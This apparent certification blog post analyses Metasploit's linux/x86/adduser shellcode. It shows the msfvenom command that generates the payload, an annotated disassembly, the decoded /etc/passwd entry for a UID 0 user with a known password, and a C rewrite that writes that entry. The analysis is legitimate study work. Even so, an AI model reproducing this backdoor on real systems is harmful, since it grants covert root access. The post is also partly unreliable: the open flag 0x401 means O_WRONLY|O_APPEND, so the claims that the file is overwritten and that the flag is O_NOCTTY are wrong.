SLAE32 - Assignment 5.1
Analysis of the shellcode ’linux/x86/adduser’ from Metasploit, which adds a privileged user.

· 4 min read
Disclaimer #
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:
https://www.pentesteracademy.com/course?id=3
Student ID: PA-30398
Analysis #
I chose the following 4 shellcode samples:
Name | Description |
---|---|
linux/x86/adduser | Create a new user with UID 0 |
linux/x86/shell/reverse_nonx_tcp | Spawn a command shell (staged). Connect back to the attacker |
linux/x86/shell_find_tag | Spawn a shell on an established connection (proxy/nat safe) |
linux/x86/shell_reverse_tcp_ipv6 | Connect back to attacker and spawn a command shell over IPv6 |
In this post I’ll analyze the shellcode linux/x86/adduser
.
NDISASM #
To generate the payload:
msfvenom -p linux/x86/adduser -o shellcode.bin
To analyze it with ndisasm
:
ndisasm shellcode2.bin -b 32 -p intel
It returns the following output (comments are mine though):
; ECX = 0
xor ecx,ecx
; EBX = 0
mov ebx,ecx
; EAX = 70
push byte +0x46
pop eax
; call setreuid
int 0x80
; EAX = 5
push byte +0x5
pop eax
; pushes 0x2f6574632f2f70617373776400000000 to the stack
; which is equal to "/etc//passwd"
xor ecx,ecx
push ecx
push dword 0x64777373
push dword 0x61702f2f
push dword 0x6374652f
; store reference to string into EBX
mov ebx,esp
; ECX = 0x401 (1025)
inc ecx
mov ch,0x4
; syscall open
int 0x80
The file must already exist, otherwise the function won’t be able to open it.
; exchanges the values of EAX and EBX
xchg eax,ebx
; jumps to 0x00000053
call 0x53
0000002B 6D insd
0000002C 657461 gs jz 0x90
0000002F 7370 jnc 0xa1
00000031 6C insb
00000032 6F outsd
00000033 69743A417A2F6449 imul esi,[edx+edi+0x41],dword 0x49642f7a
0000003B 736A jnc 0xa7
0000003D 3470 xor al,0x70
0000003F 3449 xor al,0x49
00000041 52 push edx
00000042 633A arpl [edx],di
00000044 303A xor [edx],bh
00000046 303A xor [edx],bh
00000048 3A2F cmp ch,[edi]
0000004A 3A2F cmp ch,[edi]
0000004C 62696E bound ebp,[ecx+0x6e]
0000004F 2F das
00000050 7368 jnc 0xba
00000052 0A598B or bl,[ecx-0x75]
00000055 51 push ecx
00000056 FC cld
00000057 6A04 push byte +0x4
00000059 58 pop eax
0000005A CD80 int 0x80
0000005C 6A01 push byte +0x1
0000005E 58 pop eax
0000005F CD80 int 0x80
I won’t cover the bytes from 0x00000052
to 0x0000005f
as they aren’t correct. In this case, ndisasm
thinks that the byte at 0x00000052
is the opcode for the OR
instructions, however it’s simply a newline.
I had to adjust it manually:
echo -n '598b51fc6a0458cd806a0158cd80' | xxd -r -p > shellcode2.bin
ndisasm shellcode2.bin -b 32 -p intel
Follows the output of ndisasm
:
; store the reference to the string into ECX
pop ecx
; copy the byte stored at ECX-4 into EDX
mov edx,[ecx-0x4]
; call the write syscall
push byte +0x4
pop eax
int 0x80
After the shellcode retrieves the size of the string to be written, it uses the write()
syscall to write into the previously opened file, which is overwritten.
; call the exit syscall
push byte +0x1
pop eax
int 0x80
These last two pieces of shellcode simply write the new string inside the previously-opened file: /etc//passwd
.
The line is the following:
echo "6D65746173706C6F69743A417A2F6449736A3470344952633A303A303A3A2F3A2F62696E2F73680A" | xxd -r -p
# metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh
The format is the following:
USERNAME:HASHED_PASSWORD:UID:GUID:GECOS_INFO:HOME_DIRECTORY:SHELL
The password in encrypted with DES
, which is a weak encryption scheme. The first two characters (Az
) are the salt, while the other eleven characters are the hash value.
According to the documentation of the module, the password should be metasploit
.
Once the line is written, a new user with UID 0
and GUID 0
(hence identical to root
), will be added to the machine.
De-compiling #
Since the shellcode it’s small, I tried to convert the assembly instructions into a C program, in order to make it easier to understand what’s going on:
#include <unistd.h>
#include <fcntl.h>
int main(int argc, char *argv[])
{
setreuid(0, 0);
int fd = open("/etc//passwd", O_WRONLY | O_NOCTTY);
write(fd, "metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\n", 40);
}
A brief summary:
- it uses
setreuid()
to set “real and effective user IDs of the calling process” (the difference arises when impersonating other users) - it uses
open()
to open the file/etc//passwd
(which must already exist) in write mode, so it overwrites all of the contents - it uses
write()
to write 40 bytes (the string shown above) inside the file